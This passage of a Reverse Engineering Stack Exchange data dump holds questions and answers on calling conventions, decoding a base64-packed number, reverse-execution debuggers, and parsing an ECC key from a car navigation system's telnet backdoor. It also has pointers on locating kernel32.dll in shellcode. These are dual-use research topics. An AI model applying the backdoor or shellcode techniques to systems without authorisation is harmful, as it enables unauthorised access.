  <row Id="12338" PostTypeId="2" ParentId="12336" CreationDate="2016-04-04T14:02:01.130" Score="1" Body="&lt;p&gt;Many non-Microsoft compilers pass the first argument in &lt;code&gt;EAX&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/X86_calling_conventions&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h2&gt;optlink&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;The three lexically first (leftmost) arguments are passed in &lt;strong&gt;EAX&lt;/strong&gt;, EDX, and ECX...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h2&gt;Borland register&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;Evaluating arguments from left to right, it passes three arguments via &lt;strong&gt;EAX&lt;/strong&gt;, EDX, ECX.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h2&gt;Watcom register&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;Up to 4 registers are assigned to arguments in the order &lt;strong&gt;eax&lt;/strong&gt;, edx, ebx, ecx.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h2&gt;TopSpeed / Clarion / JPI&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;The first four integer parameters are passed in registers &lt;strong&gt;eax&lt;/strong&gt;, ebx, ecx and edx.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-04-04T14:02:01.130" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12339" PostTypeId="2" ParentId="12336" CreationDate="2016-04-04T14:23:03.040" Score="1" Body="&lt;p&gt;Most likely it's just LTCG/LTO, especially if the function in question is only never called externally. Using it can &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/xbf3tbeh.aspx&quot; rel=&quot;nofollow&quot;&gt;result in the following&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Cross-module inlining&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Interprocedural register allocation (64-bit operating systems only)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Custom calling convention (x86 only)&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Small TLS displacement (x86 only)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Stack double alignment (x86 only)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Improved memory disambiguation (better interference information for&#xA;global variables and input parameters)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-04-04T14:23:03.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12340" PostTypeId="1" CreationDate="2016-04-04T15:48:08.313" Score="1" ViewCount="1174" Body="&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8870/extracting-arguments-from-ida/8876#8876&quot;&gt;This thread&lt;/a&gt; describes method for extracting function arguments from ida. However this method is not working for stripped binaries (funcdata.size() is always 0).&#xA;Is it possible to extract such information from stripped binaries? &lt;/p&gt;&#xA;" OwnerUserId="15644" LastEditorUserId="18698" LastEditDate="2017-11-12T09:54:34.497" LastActivityDate="2017-11-12T09:54:34.497" Title="IDA: Extracting functions arguments from stripped binary" Tags="|ida|disassembly|idapython|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12341" PostTypeId="1" AcceptedAnswerId="12342" CreationDate="2016-04-04T18:51:28.297" Score="0" ViewCount="51" Body="&lt;p&gt;I didn't know where to ask this; I hope it's in the proper place. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My wife just bought one of these mobile credit card processing devices for her phone and I was curious as to why these devices use TRRS instead of the Micro USB connection. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be as simple as a more stable, physical, attachment to the frame of the phone? &lt;/p&gt;&#xA;" OwnerUserId="15647" LastActivityDate="2016-04-04T19:02:30.890" Title="Why do Mobile Credit Card Devices use the TRRS connection instead of the Micro USB?" Tags="|hardware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12342" PostTypeId="2" ParentId="12341" CreationDate="2016-04-04T19:02:30.890" Score="1" Body="&lt;p&gt;Probably because many mobile devices don't have micro-USB ports, but almost all of them (iPhones, iPads, Android phones, etc.) have headset (TRRS) jacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows the mobile credit card processing company to make a single hardware device that will work with all of these mobile devices.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-04-04T19:02:30.890" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12343" PostTypeId="1" AcceptedAnswerId="12350" CreationDate="2016-04-04T20:33:14.383" Score="1" ViewCount="1322" Body="&lt;p&gt;I am working on reverse engineering an encoding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A number between -12 and 12, with 2 decimals is encoded using an unknown method, and the result is a pair of strings as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;value   string1     string2&#xA;  0     AAAAAAAAAA  AAAAAAAA&#xA;  0.01  AAAAB7FK5H  4XqEPwAA&#xA;  0.02  AAAAB7FK5H  4XqUPwAA&#xA;  0.03  AAAAC4HoXr  UbiePwAA&#xA;  1     EAAAAAAAAA  AADwPwAA&#xA;  2     IAAAAAAAAA  AAAAQAAA&#xA;  3     MAAAAAAAAA  AAAIQAAA&#xA;  4     QAAAAAAAAA  AAAQQAAA&#xA;  5     UAAAAAAAAA  AAAUQAAA&#xA;  6     YAAAAAAAAA  AAAYQAAA&#xA;  7     cAAAAAAAAA  AAAcQAAA&#xA;  8     gAAAAAAAAA  AAAgQAAA&#xA;  9     kAAAAAAAAA  AAAiQAAA&#xA; 10     oAAAAAAAAA  AAAkQAAA&#xA; 11     sAAAAAAAAA  AAAmQAAA&#xA; 12     wAAAAAAAAA  AAAoQAAA&#xA;-12     T///8AAAAA  AAAowAAA&#xA;- 1     ////8AAAAA  AADwvwAA&#xA;- 0.64  ////97FK5H  4XrkvwAA&#xA;  2.01  IAAAAUrkfh  ehQAQAAA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(any additional samples can be provided upon request)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, I would like to determine the algorithm used to do this conversion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My research indicates it MIGHT have to do with base64 encoding, and the alphabet used is &#xA;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A=0 B=1 ... /=63&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, the first column, translated to decimal, then divided by 4 &#xA;(discarding the remainder), gives the &quot;integer&quot; part of the value, when &#xA;the value is positive, or 16-value, when negative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had lass luck with the decimal part, I just don't have the knowledge. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can give me a hint or a solution, it would be immensely appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a photographer with basic math and programming knowledge, and this would be the central piece needed to complete a script that will optimize my workflow, that now requires for me to manually read, compute (excel) and write those values back (in decimal).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="15649" LastActivityDate="2023-06-03T17:06:18.223" Title="Reverse engineering a base64 encoded number" Tags="|encodings|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12345" PostTypeId="1" CreationDate="2016-04-05T00:44:31.423" Score="4" ViewCount="3154" Body="&lt;p&gt;I like x64dbg, but, without seeing IDA's names, it's hard to keep track of all the hex.  Is there any way to export IDA's names into x64dbg (ideally contiuously)&lt;/p&gt;&#xA;" OwnerUserId="15653" LastEditorUserId="60" LastEditDate="2017-08-17T13:23:12.400" LastActivityDate="2017-08-17T13:23:12.400" Title="Displaying IDA names in x64dbg or OllyDbg" Tags="|ida|ollydbg|debuggers|x64dbg|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12346" PostTypeId="2" ParentId="12343" CreationDate="2016-04-05T07:16:39.990" Score="5" Body="&lt;p&gt;These are binary representation of double numbers encoded with base64.&#xA;To understand the encoding lets see an example (I used to convert numbers to binary double representation with this &lt;a href=&quot;http://www.binaryconvert.com/result_double.html?decimal=048046048051&quot;&gt;page&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0.03 = 0x3F9EB851EB851EB8 (binary representation of the double number)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With little endian encoding it is stored in the memory in the following form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;B8 1E 85 EB  51 B8 9E 3F&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You have to extend the first and second 4 bytes with 2 zeros and encoded it with base64:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;base64(0000B81E85EB) = AAC4HoXr&#xA;base64(51B89E3F0000) = UbiePwAA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your example the 0.03 was encoded to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0.03 = AAAAC4HoXr  UbiePwAA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, the difference is only the first 2 letters in the first string, but I don't see why the first string starts with these letters.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2016-04-05T07:16:39.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12348" PostTypeId="1" AcceptedAnswerId="12349" CreationDate="2016-04-05T12:47:11.530" Score="2" ViewCount="271" Body="&lt;p&gt;I am trying to analyze some execution crash information, and to better identify the root cause of memory access error, I would like to &lt;code&gt;reverse execute&lt;/code&gt; the program from the crash point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, to identify the root cause of memory access error below, I would like to reversely execute from the third line, and by leveraging some data flow analysis techniques, I should be able to identify the root cause at the first line.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov    -0x18(%rbp),%rax       &amp;lt;---- root cause is at memory -0x18(%rbp)&#xA;add    %rdx,%rax&#xA;mov    (%rax),%eax            &amp;lt;--- crash when reading (%rax)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So here is my question, is there any dynamic analysis tool/debugger that can support reverse execution? I prefer &lt;code&gt;Pin&lt;/code&gt;, but I am not aware that &lt;code&gt;Pin&lt;/code&gt; can do this.. &lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2016-04-11T09:52:32.323" Title="Dynamic instrumentation tools which support reverse execution" Tags="|binary-analysis|dynamic-analysis|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12349" PostTypeId="2" ParentId="12348" CreationDate="2016-04-05T12:55:04.573" Score="3" Body="&lt;p&gt;Have a Look at &lt;a href=&quot;http://rr-project.org&quot; rel=&quot;nofollow&quot;&gt;http://rr-project.org&lt;/a&gt; The website says it supports reverse execution. Yet, I am not a 100% sure if this is exactly the same you are talking about. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;rr also provides efficient reverse execution under gdb. Set breakpoints and data watchpoints and quickly reverse-execute to where they were hit.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See also the gdb record and replay feature &lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Reverse-Execution.html#Reverse-Execution&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;On some platforms, gdb provides a special process record and replay target that can record a log of the process execution, and replay it later with both forward and reverse execution commands.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="11830" LastEditDate="2016-04-05T13:00:22.593" LastActivityDate="2016-04-05T13:00:22.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12350" PostTypeId="2" ParentId="12343" CreationDate="2016-04-05T13:08:11.510" Score="3" Body="&lt;p&gt;Building on @ebux's answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first 4 bytes is the integral part of the number, encoded in a slightly weird way .. the UPPER nibble of the first byte is the number itself. The other 5 nibbles are 0 for positive, f for negative numbers in the &quot;usual&quot; way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest of the strings are, like @ebux said, the float part of the value, in IEEE format, but when encoding/decoding them, you have to add/remove two \0 bytes to the binary string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This perl program will decode a file containing your examples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/perl&#xA;&#xA;use MIME::Base64 qw(decode_base64 encode_base64);&#xA;while (&amp;lt;&amp;gt;) {&#xA;    chomp;&#xA;    y/\r//d;&#xA;    s/- /-/;&#xA;    s/^\s+//;&#xA;    ($a, $b, $c)=split();&#xA;    $a2=decode_base64(substr($b, 0, 4));&#xA;    $b2=substr(decode_base64(substr($b, 2)), 2);&#xA;    $c2=substr(decode_base64($c), 0, 4);&#xA;    printf(&quot;%10s&quot;, $a);&#xA;    print &quot;\t&quot;; printhex($a2); &#xA;    print &quot;\t&quot;; printhex($b2); &#xA;    print &quot;\t&quot;; printhex($c2);&#xA;    print &quot;\t&quot;; printint($a2);&#xA;    print &quot;\t&quot;; printdbl($b2.$c2);&#xA;    print &quot;\n&quot;;&#xA;}&#xA;&#xA;sub printhex {&#xA;    my $str=shift;&#xA;    for ($i=0; $i&amp;lt;length($str); $i++) {&#xA;        printf(&quot;%02x.&quot;, ord(substr($str, $i, 1)));&#xA;    }&#xA;}&#xA;&#xA;sub printint {&#xA;    my $str=shift;&#xA;    my $val=ord(substr($str, 0, 1))&amp;gt;&amp;gt;4;&#xA;    $val-=16 if (substr($str, 1, 1) eq &quot;\xff&quot;);&#xA;    printf(&quot;%5d&quot;, $val);&#xA;}&#xA;&#xA;sub printdbl {&#xA;    my $str=shift;&#xA;    my $val=unpack(&quot;d&quot;, $str);&#xA;    printf(&quot;%10.4f&quot;, $val);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output (column order is your column, 3 columns of hex bytes derived from the base64 strings, integer value derived from col1, float value from col2/3):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  2.01  20.00.00.   14.ae.47.e1.    7a.14.00.40.        2       2.0100&#xA;     0  00.00.00.   00.00.00.00.    00.00.00.00.        0       0.0000&#xA;  0.01  00.00.00.   7b.14.ae.47.    e1.7a.84.3f.        0       0.0100&#xA;  0.02  00.00.00.   7b.14.ae.47.    e1.7a.94.3f.        0       0.0200&#xA;  0.03  00.00.00.   b8.1e.85.eb.    51.b8.9e.3f.        0       0.0300&#xA;     1  10.00.00.   00.00.00.00.    00.00.f0.3f.        1       1.0000&#xA;     2  20.00.00.   00.00.00.00.    00.00.00.40.        2       2.0000&#xA;     3  30.00.00.   00.00.00.00.    00.00.08.40.        3       3.0000&#xA;     4  40.00.00.   00.00.00.00.    00.00.10.40.        4       4.0000&#xA;     5  50.00.00.   00.00.00.00.    00.00.14.40.        5       5.0000&#xA;     6  60.00.00.   00.00.00.00.    00.00.18.40.        6       6.0000&#xA;     7  70.00.00.   00.00.00.00.    00.00.1c.40.        7       7.0000&#xA;     8  80.00.00.   00.00.00.00.    00.00.20.40.        8       8.0000&#xA;     9  90.00.00.   00.00.00.00.    00.00.22.40.        9       9.0000&#xA;    10  a0.00.00.   00.00.00.00.    00.00.24.40.       10      10.0000&#xA;    11  b0.00.00.   00.00.00.00.    00.00.26.40.       11      11.0000&#xA;    12  c0.00.00.   00.00.00.00.    00.00.28.40.       12      12.0000&#xA;   -12  4f.ff.ff.   00.00.00.00.    00.00.28.c0.      -12     -12.0000&#xA;    -1  ff.ff.ff.   00.00.00.00.    00.00.f0.bf.       -1      -1.0000&#xA; -0.64  ff.ff.ff.   7b.14.ae.47.    e1.7a.e4.bf.       -1      -0.6400&#xA;  2.01  20.00.00.   14.ae.47.e1.    7a.14.00.40.        2       2.0100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This program converts one or multiple numbers to your format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/perl&#xA;&#xA;use MIME::Base64 qw(decode_base64 encode_base64);&#xA;&#xA;foreach $a (@ARGV) {&#xA;    print $a;&#xA;    my $intpart=($a &amp;amp; 0x0f) &amp;lt;&amp;lt; 4;&#xA;    if ($a&amp;lt;0) {&#xA;        $intpart|=0xffffff0f;&#xA;    }&#xA;    my $part1=encode_base64(pack(&quot;l&quot;, $intpart)); chomp $part1;&#xA;    # print &quot;\t&quot;, $part1;&#xA;&#xA;    my $temp=encode_base64(&quot;\x00\x00&quot;.pack(&quot;d&quot;, $a)); chomp $temp;&#xA;    # print &quot;\t&quot;, $temp;&#xA;&#xA;    my $part2=substr($part1, 0, 4).substr($temp, 2, 6);&#xA;    print &quot;\t&quot;, $part2;&#xA;&#xA;    my $part3=substr($temp, 8, 6).&quot;AA&quot;;&#xA;    print &quot;\t&quot;, $part3;&#xA;&#xA;    print &quot;\n&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ perl encode.pl 0.01 0.02 0.03  2.01 0 11 12 -12 -1 &#xA;0.01    AAAAB7FK5H  4XqEPwAA&#xA;0.02    AAAAB7FK5H  4XqUPwAA&#xA;0.03    AAAAC4HoXr  UbiePwAA&#xA;2.01    IAAAAUrkfh  ehQAQAAA&#xA;0       AAAAAAAAAA  AAAAAAAA&#xA;11      sAAAAAAAAA  AAAmQAAA&#xA;12      wAAAAAAAAA  AAAoQAAA&#xA;-12     T///AAAAAA  AAAowAAA&#xA;-1      ////AAAAAA  AADwvwAA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's a link to all numbers from -12 to 12: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mega.nz/#!BVpWgBiI!aPbtMmMYnLgUUn011Cl5qjA5OO6TpKG8CSTIhR7Re0E&quot; rel=&quot;nofollow&quot;&gt;https://mega.nz/#!BVpWgBiI!aPbtMmMYnLgUUn011Cl5qjA5OO6TpKG8CSTIhR7Re0E&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2016-04-05T13:14:39.293" LastActivityDate="2016-04-05T13:14:39.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12351" PostTypeId="2" ParentId="12348" CreationDate="2016-04-05T13:10:16.457" Score="1" Body="&lt;p&gt;In previous versions of Pin, there was APIs for &lt;a href=&quot;http://www.cs.virginia.edu/kim/publicity/pin/docs/31933/Pin/html/group__CHECKPOINTING.html&quot; rel=&quot;nofollow&quot;&gt;checkpoint/re-execution&lt;/a&gt;; but they are not supported in recent versions. They are instead moved to a more complete framework, called &lt;a href=&quot;https://software.intel.com/en-us/articles/program-recordreplay-toolkit?language=en&quot; rel=&quot;nofollow&quot;&gt;PinPlay&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also implement an ad-hoc &lt;code&gt;reverse execution&lt;/code&gt; using existing API(s) (e.g. Pin_ExecuteAt, Pin_SaveContext, etc). The naive idea is to track the memory writing and store the original value. I have implemented actually such an &lt;a href=&quot;https://github.com/tathanhdinh/PathExplorer/blob/windows_version/version_1/src/base/checkpoint.cpp&quot; rel=&quot;nofollow&quot;&gt;engine&lt;/a&gt; (sorry for the self-advertisement).&lt;/p&gt;&#xA;" OwnerUserId="1619" LastActivityDate="2016-04-05T13:10:16.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12352" PostTypeId="1" AcceptedAnswerId="12353" CreationDate="2016-04-05T16:26:45.783" Score="2" ViewCount="362" Body="&lt;p&gt;I am researching an QNX ARM based car navigation and it seems this system has a backdoor that enables telnet access without password to the system if a challenge/response succeeds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a file called &lt;code&gt;challenge&lt;/code&gt; is placed on a USB key and inserted in the system it will write some bytes in it. Here are a few examples:&#xA;eaxj2ABs4BeMQqQJamOH?smOCVEC&#xA;KKUcw5m:vvJXmCIK3SBDDqv9p:Or&#xA;odlwY@ed6B?8OKCmaqIDdFz7YSnv&#xA;BBqGoWKocmAuvSDacMAkZ:83:QVq&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the ELF file that handles the challenge/response in the firmware (can share this upon request) and it reads a public key file:&#xA;&lt;code&gt;hChallengePub = sub_1030A0((int)&quot;/ifs/challenge.pub&quot;, &amp;amp;v11, &amp;amp;v13)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;challenge.pub contains the following bytes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;30 29 03 02 07 00 02 01 0E 02 0F 00 9C 9C A4 5A&#xA;FA 1E 2D 32 2A 93 9D 37 41 93 02 0F 00 95 AB 6B&#xA;DB 94 29 4D C3 C6 07 3B B7 31 40&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Debug text in the ELF points to source file &lt;code&gt;src/pk/ecc/ecc_import.c&lt;/code&gt; which leds me to believe it's an ECC public key but it seems to be incomplete (eg no ASN.1 header).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to convert this key into pem format so I can run some tests with openssl so I am looking for pointers how to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately I'd like to see if I can create proper response and get access but maybe this is impossible if it requires private key (which it should if it's any good).&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2016-04-05T16:51:17.813" Title="create pem from ecc signature bytes" Tags="|encryption|qnx|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12353" PostTypeId="2" ParentId="12352" CreationDate="2016-04-05T16:51:17.813" Score="2" Body="&lt;p&gt;&lt;code&gt;src/pk/ecc/ecc_import.c&lt;/code&gt; strongly suggests that it's using LibTomCrypt: &lt;a href=&quot;https://github.com/libtom/libtomcrypt/blob/develop/src/pk/ecc/ecc_import.c&quot; rel=&quot;nofollow&quot;&gt;https://github.com/libtom/libtomcrypt/blob/develop/src/pk/ecc/ecc_import.c&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The content of &lt;code&gt;challenge.pub&lt;/code&gt; appears to be DER-encoded. &lt;a href=&quot;https://lapo.it/asn1js/#30290302070002010E020F009C9CA45AFA1E2D322A939D374193020F0095AB6BDB94294DC3C6073BB73140&quot; rel=&quot;nofollow&quot;&gt;It can be decoded as follows&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SEQUENCE(4 elem)&#xA;    BIT STRING (1 bit) 0&#xA;    INTEGER            14&#xA;    INTEGER (112 bit)  3176466357047968568460177262985619&#xA;    INTEGER (112 bit)  3035660427084515633934604600553792&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As can be seen in the &lt;code&gt;ecc_import.c&lt;/code&gt; code referenced above, this translates to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;key-&amp;gt;type&lt;/code&gt; = &lt;code&gt;PK_PUBLIC&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;key_size&lt;/code&gt; = &lt;code&gt;14&lt;/code&gt; bytes&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;key-&amp;gt;pubkey.x&lt;/code&gt; = &lt;code&gt;3176466357047968568460177262985619&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;key-&amp;gt;pubkey.y&lt;/code&gt; = &lt;code&gt;3035660427084515633934604600553792&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-04-05T16:51:17.813" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12355" PostTypeId="2" ParentId="12294" CreationDate="2016-04-06T13:09:11.183" Score="1" Body="&lt;p&gt;The good news: Yes, of course it is possible, and done very very often. I will restrict my answer to Windows. In Linux or other systems exist similar scenarios, however different in detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First let's clarify what a &quot;module&quot; might be. I assume from your question that you mean by &quot;module&quot; a DLL e.g. loaded and called by some exe binary. This is a &quot;tightly coupled&quot; scenario: The module to be called resides in the same 2GB memory virtual address space as the calling module. In case of a &quot;loosely coupled&quot; scenario where both modules reside in different processes, you need one of the possibilities of &quot;Remote Procedure Calls&quot;, like XML-RPC, SOAP or - in a .NET environment - Remoting. There exist many others. The following applies to a Windows DLL in tightly coupling. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Case1: Function is exported by the module.&lt;/strong&gt; This is straightforward:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Call the &quot;LoadLibrary&quot; API in one of its flavors to get the address of the module (Note that the handle returned is directly the module address). For this to work, you need the filename of the module.&lt;/li&gt;&#xA;&lt;li&gt;Call &quot;GetProcAddress&quot; to get the address of the function within the module. You need the name or the ordinal number of the exported function.&lt;/li&gt;&#xA;&lt;li&gt;Construct a function pointer with the correct signature from the obtained address.&lt;/li&gt;&#xA;&lt;li&gt;Call the function&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is the scenario for &quot;normal&quot; programs. It has the advantage that you do not need a static library to link the addresses of the DLL, and that the DLL needs not be present at startup of the exe. It has the disadvantage that the generation of the correct function pointer is a bit tedious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Case2: Function is NOT exported by the module, base address of module to be called is not known.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the more interesting case where you e.g. want to patch an exe file and call the function of interest in the module DLL, or just want to jump to some known address relative to the modules starting address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works in principle - on an assembler and machine code level - in exactly the same way as described above, with one little difficulty: How do you call in your patch the &quot;LoadLibrary&quot; function? This is not so trivial as it might seem at first glance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;LoadLibrary&quot; function resides in the module &quot;Kernel32.dll&quot;, necessary for every windows program. You might call &quot;LoadLibraryA(&quot;Kernel32.dll&quot;), and you see the recursion problem of the &quot;cat biting into its tail&quot;. This doesn't work. And don't rely on kernel32.dll having a fixed and not changing address. This will NOT work in the world of ASLR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a general problem of all shellcode programming. Fortunately, there is a method how to reliably obtain the address of Kernel32.dll (and also ntdll.dll). You might want to download the excellent and rather old paper of Skape describing this and many other interesting things from here &lt;a href=&quot;http://www.hick.org/code/skape/papers/win32-shellcode.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.hick.org/code/skape/papers/win32-shellcode.pdf&lt;/a&gt;. The method worked for me identically in Windows XP, Windows7 and Windows10. Skapes approach works in the 32-bit world. For a corrsponding solution in 64 bit Windows, you might want to consult &lt;a href=&quot;https://www.tophertimzen.com/blog/windowsx64Shellcode/&quot; rel=&quot;nofollow&quot;&gt;https://www.tophertimzen.com/blog/windowsx64Shellcode/&lt;/a&gt; (but beware of possible bugs in the solution).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have fun!&lt;/p&gt;&#xA;" OwnerUserId="12800" LastEditorUserId="12800" LastEditDate="2016-04-07T13:25:32.703" LastActivityDate="2016-04-07T13:25:32.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12356" PostTypeId="1" CreationDate="2016-04-06T15:01:40.410" Score="3" ViewCount="1918" Body="&lt;p&gt;&lt;em&gt;First of all I wasn't very much into reversing until now, so excuse me if my question is dumb.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a windows DLL most likely made with Visual C++. It's been developed in 1998 and has Mfc42.dll (4.21.7022) and mfc42u.dll and msvcirt.dll (5.00.7022) distributed with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to see function names exported by the DLL (it is easy) but not their parameters of-course. These functions are not called directly by any application, but I know they are called indirectly. I think they're being called by some other APIs, but the chain is unknown to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: Is it possible to extract the function signatures (function parameters and return value), write some kind of bindings (that should 